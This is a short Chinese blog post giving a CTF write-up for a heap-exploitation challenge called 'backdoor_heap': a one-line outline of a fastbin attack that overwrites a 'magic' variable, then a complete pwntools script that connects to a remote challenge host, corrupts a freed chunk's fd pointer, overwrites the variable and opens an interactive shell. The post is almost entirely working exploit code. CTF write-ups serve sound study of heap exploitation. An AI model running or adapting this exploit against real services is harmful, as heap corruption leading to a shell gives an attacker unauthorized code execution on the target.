backdoor_heap(堆溢出+变量覆盖)

思路:
申请3个chunk(0,1,2)-> 释放1 ->编辑0修改1的fd为magic-0x23->把fackchunk申请回来,写入0xffffffffffffffff*0x23,覆盖到magic->shell

from pwn import *
from LibcSearcher import *
def conn():
    global r,Libc,elf
    #r = process("./backdoor_heap")
    r = remote("1.95.36.136", 2068)
    #elf = ELF("./pwn1")
def add(x,y):
    r.sendlineafter(b"choice :",b"1")
    r.sendlineafter(b"Size of Heap : ",str(x).encode())
    r.sendlineafter(b"Content of heap:",y)
def edit(x,y):
    r.sendlineafter(b"choice :",b"2")
    r.sendlineafter(b"Index :",str(x).encode())
    r.sendlineafter(b"Size of Heap : ",str(len(y)).encode())
    r.sendlineafter(b"Content of heap : ",y)
def free(x):
    r.sendlineafter(b"choice :",b"3")
    r.sendlineafter(b"Index :",str(x).encode())   
def shell():
    r.sendlineafter(b"choice :",b"4869")
def pwn():
    magic = 0x6020A0
    add(0x68,b'aaa')#0
    add(0x68,b'aaa')#1
    add(0x68,b'aaa')#2
    free(1)
    edit(0,b'a'*0x68+p64(0x71)+p64(magic-0x23))
    add(0x68,b'aaa')#1
    add(0x68,b'AAA')#3
    edit(3,p64(0xffffffff)*0x23)
    shell()
    #gdb.attach(r)
    r.interactive()
conn()
pwn()

posted @ 2025-05-02 18:30  lethe311  阅读(4)  评论(0)    收藏  举报